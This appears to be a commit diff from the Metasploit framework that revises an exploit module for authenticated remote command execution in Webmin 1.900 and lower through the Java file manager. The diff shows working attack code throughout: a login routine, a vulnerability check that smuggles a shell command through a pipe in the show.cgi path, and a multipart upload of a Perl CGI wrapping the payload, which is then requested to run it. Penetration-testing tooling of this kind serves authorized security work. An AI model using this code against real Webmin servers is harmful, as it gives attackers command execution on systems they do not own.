Change upload and add option

Change the contents of the uploaded file and
don't overwrite and existing file by default.
Add option to specify name of file.
master
Jacob Robles 2019-03-14 09:34:55 -05:00
parent bd1cd7fae8
commit 9a32231cb5
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
1 changed files with 28 additions and 71 deletions

View File

@ -11,7 +11,7 @@ class MetasploitModule < Msf::Exploit::Remote
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Webmin 1.900 - Remote Command Execution', 'Name' => 'Webmin Java File Manager Authenticated RCE',
'Description' => %q( 'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin This module exploits an arbitrary command execution vulnerability in Webmin
1.900 and lower versions. Any user authorized to the "Java file manager" 1.900 and lower versions. Any user authorized to the "Java file manager"
@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Compat' => 'Compat' =>
{ {
'PayloadType' => 'cmd', 'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python telnet' 'RequiredCmd' => 'perl'
} }
}, },
'DefaultOptions' => 'DefaultOptions' =>
@ -61,14 +61,15 @@ class MetasploitModule < Msf::Exploit::Remote
register_options [ register_options [
OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]), OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
OptString.new('USERNAME', [true, 'Webmin Username']), OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']) OptString.new('PASSWORD', [true, 'Webmin Password']),
OptString.new('FILENAME', [false, 'Filename used for the uploaded data'])
] ]
end end
def login def login
res = send_request_cgi({ res = send_request_cgi({
'method' => 'POST', 'method' => 'POST',
'uri' => '/session_login.cgi', 'uri' => normalize_uri('session_login.cgi'),
'cookie' => 'testing=1', 'cookie' => 'testing=1',
'vars_post' => { 'vars_post' => {
'page' => '', 'page' => '',
@ -96,12 +97,10 @@ class MetasploitModule < Msf::Exploit::Remote
vprint_status('Attempting to execute...') vprint_status('Attempting to execute...')
command = "echo #{rand_text_alphanumeric(0..9)}" command = "echo #{rand_text_alphanumeric(0..9)}"
res = send_request_cgi( res = send_request_cgi({
{ 'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|", 'cookie' => "sid=#{cookie}"
'cookie' => "sid=#{cookie}" })
}, 25
)
if res && res.code == 200 && res.message =~ /Document follows/ if res && res.code == 200 && res.message =~ /Document follows/
return CheckCode::Vulnerable return CheckCode::Vulnerable
@ -129,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote
res = send_request_raw( res = send_request_raw(
'method' => 'POST', 'method' => 'POST',
'uri' => '/proc/index_tree.cgi', 'uri' => normalize_uri('proc', 'index_tree.cgi'),
'headers' => 'headers' =>
{ {
'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1" 'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
@ -152,7 +151,9 @@ class MetasploitModule < Msf::Exploit::Remote
return return
end end
directory << 'file' directory << 'file'
upload_attempt(phost, cookie, directory) filename = datastore['FILENAME'].present? ? datastore['FILENAME'] : "#{rand_text_alpha_lower(5..8)}.cgi"
filename << '.cgi' unless filename.end_with?('.cgi')
upload_attempt(phost, cookie, directory, filename)
## ##
# Loading phase of the vulnerable file # Loading phase of the vulnerable file
@ -161,71 +162,26 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Attempting to execute the payload...") print_status("Attempting to execute the payload...")
command = payload.encoded command = payload.encoded
res = send_request_cgi({ res = send_request_cgi({
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(0..9)}|#{command}|", 'uri' => normalize_uri('file', filename),
'cookie' => "sid=#{cookie}" 'cookie' => "sid=#{cookie}"
}) })
if res && res.code == 200 && res.message =~ /Document follows/
print_good 'Payload executed successfully'
else
print_error 'Error executing the payload'
end
end end
def upload_attempt(phost, cookie, dir) def upload_attempt(phost, cookie, dir, filename)
boundary = rand_text_alphanumeric(29) boundary = rand_text_alphanumeric(29)
limit = rand_text_alpha_upper(5..10)
code = <<~HERE
#!/usr/bin/perl
$var = <<'#{limit}';
#{payload.encoded}
#{limit}
`$var`;
HERE
data2 = "-----------------------------#{boundary}\r\n" data2 = "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n" data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"#{filename}\"\r\n"
data2 << "Content-Type: application/octet-stream\r\n\r\n" data2 << "Content-Type: application/octet-stream\r\n\r\n"
data2 << "#!/usr/local/bin/perl\n# show.cgi\n# Output some file for the browser\n\n" data2 << code
data2 << "$trust_unknown_referers = 1;\nrequire './file-lib.pl';\n&ReadParse();\nuse POSIX;\n"
data2 << "$p = $ENV{'PATH_INFO'};\nif ($in{'type'}) {\n\t# Use the supplied content type\n\t"
data2 << "$type = $in{'type'};\n\t$download = 1;\n\t}\nelsif ($in{'format'} == 1) {\n\t"
data2 << "# Type comes from compression format\n\t$type = \"application/zip\";\n\t}\n"
data2 << "elsif ($in{'format'} == 2) {\n\t$type = \"application/x-gzip\";\n\t}\n"
data2 << "elsif ($in{'format'} == 3) {\n\t$type = \"application/x-tar\";\n\t}\nelse {\n\t"
data2 << "# Try to guess type from filename\n\t$type = &guess_mime_type($p, undef);\n\t"
data2 << "if (!$type) {\n\t\t# No idea .. use the 'file' command\n\t\t"
data2 << "$out = &backquote_command(\"file \".\n\t\t\t\t\t quotemeta(&resolve_links($p)), 1);\n\t\t"
data2 << "if ($out =~ /text|script/) {\n\t\t\t$type = \"text/plain\";\n\t\t\t}\n\t\telse {\n\t\t\t"
data2 << "$type = \"application/unknown\";\n\t\t\t}\n\t\t}\n\t}\n\n# Dump the file\n&switch_acl_uid();\n"
data2 << "$temp = &transname();\nif (!&can_access($p)) {\n\t# ACL rules prevent access to file\n\t"
data2 << "&error_exit(&text('view_eaccess', &html_escape($p)));\n\t}\n$p = &unmake_chroot($p);\n\n"
data2 << "if ($in{'format'}) {\n\t# An archive of a directory was requested .. create it\n\t"
data2 << "$archive || &error_exit($text{'view_earchive'});\n\tif ($in{'format'} == 1) {\n\t\t"
data2 << "$p =~ s/\\.zip$//;\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t$p =~ s/\\.tgz$//;\n\t\t}\n\t"
data2 << "elsif ($in{'format'} == 3) {\n\t\t$p =~ s/\\.tar$//;\n\t\t}\n\t-d $p || &error_exit($text{'view_edir'}.\" \".&html_escape($p));\n\t"
data2 << "if ($archive == 2 && $archmax > 0) {\n\t\t# Check if directory is too large to archive\n\t\tlocal $kb = &disk_usage_kb($p);\n\t\t"
data2 << "if ($kb*1024 > $archmax) {\n\t\t\t&error_exit(&text('view_earchmax', $archmax));\n\t\t\t}\n\t\t}\n\n\t"
data2 << "# Work out the base directory and filename\n\tif ($p =~ /^(.*\\/)([^\\/]+)$/) {\n\t\t$pdir = $1;\n\t\t"
data2 << "$pfile = $2;\n\t\t}\n\telse {\n\t\t$pdir = \"/\";\n\t\t$pfile = $p;\n\t\t}\n\n\t"
data2 << "# Work out the command to run\n\tif ($in{'format'} == 1) {\n\t\t"
data2 << "&has_command(\"zip\") || &error_exit(&text('view_ecmd', \"zip\"));\n\t\t"
data2 << "$cmd = \"zip -r $temp \".quotemeta($pfile);\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t"
data2 << "&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
data2 << "&has_command(\"gzip\") || &error_exit(&text('view_ecmd', \"gzip\"));\n\t\t"
data2 << "$cmd = \"tar cf - \".quotemeta($pfile).\" | gzip -c >$temp\";\n\t\t}\n\t"
data2 << "elsif ($in{'format'} == 3) {\n\t\t&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
data2 << "$cmd = \"tar cf $temp \".quotemeta($pfile);\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
data2 << "# Don't actually do anything if in test mode\n\t\t&ok_exit();\n\t\t}\n\n\t"
data2 << "# Run the command, and send back the resulting file\n\tlocal $qpdir = quotemeta($pdir);\n\t"
data2 << "local $out = `cd $qpdir ; ($cmd) 2>&1 </dev/null`;\n\tif ($?) {\n\t\tunlink($temp);\n\t\t"
data2 << "&error_exit(&text('view_ecomp', &html_escape($out)));\n\t\t}\n\tlocal @st = stat($temp);\n\t"
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-type: $type\\n\\n\";\n\t"
data2 << "open(FILE, $temp);\n\tunlink($temp);\n\twhile(read(FILE, $buf, 1024)) {\n\t\tprint $buf;\n\t\t}\n\t"
data2 << "close(FILE);\n\t}\nelse {\n\tif (!open(FILE, $p)) {\n\t\t# Unix permissions prevent access\n\t\t"
data2 << "&error_exit(&text('view_eopen', $p, $!));\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
data2 << "# Don't actually do anything if in test mode\n\t\tclose(FILE);\n\t\t"
data2 << "&ok_exit();\n\t\t}\n\n\t@st = stat($p);\n\tprint \"X-no-links: 1\\n\";\n\t"
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-Disposition: Attachment\\n\" if ($download);\n\t"
data2 << "print \"Content-type: $type\\n\\n\";\n\tif ($type =~ /^text\\/html/i && !$in{'edit'}) {\n\t\t"
data2 << "while(read(FILE, $buf, 1024)) {\n\t\t\t$data .= $buf;\n\t\t\t}\n\t\tprint &filter_javascript($data);\n\t\t"
data2 << "}\n\telse {\n\t\twhile(read(FILE, $buf, 1024)) {\n\t\t\tprint $buf;\n\t\t\t}\n\t\t}\n\tclose(FILE);\n\t}\n\n"
data2 << "sub error_exit\n{\nprint \"Content-type: text/plain\\n\";\n"
data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
data2 << "\r\n\r\n"
data2 << "-----------------------------#{boundary}\r\n" data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n" data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
data2 << "-----------------------------#{boundary}\r\n" data2 << "-----------------------------#{boundary}\r\n"
@ -244,7 +200,8 @@ class MetasploitModule < Msf::Exploit::Remote
res2 = send_request_raw( res2 = send_request_raw(
'method' => 'POST', 'method' => 'POST',
'uri' => "/updown/upload.cgi?id=#{rand_text_numeric(8..12)}", 'uri' => normalize_uri('updown', 'upload.cgi'),
'vars_get' => {'id' => "#{rand_text_numeric(8..12)}"},
'data' => data2, 'data' => data2,
'headers' => 'headers' =>
{ {
@ -255,7 +212,7 @@ class MetasploitModule < Msf::Exploit::Remote
) )
if res2 && res2.code == 200 && res2.body =~ /Saving file/ if res2 && res2.code == 200 && res2.body =~ /Saving file/
print_good 'Vulnerable show.cgi file was successfully uploaded.' print_good "File #{filename} was successfully uploaded."
else else
print_error 'Upload failed.' print_error 'Upload failed.'
end end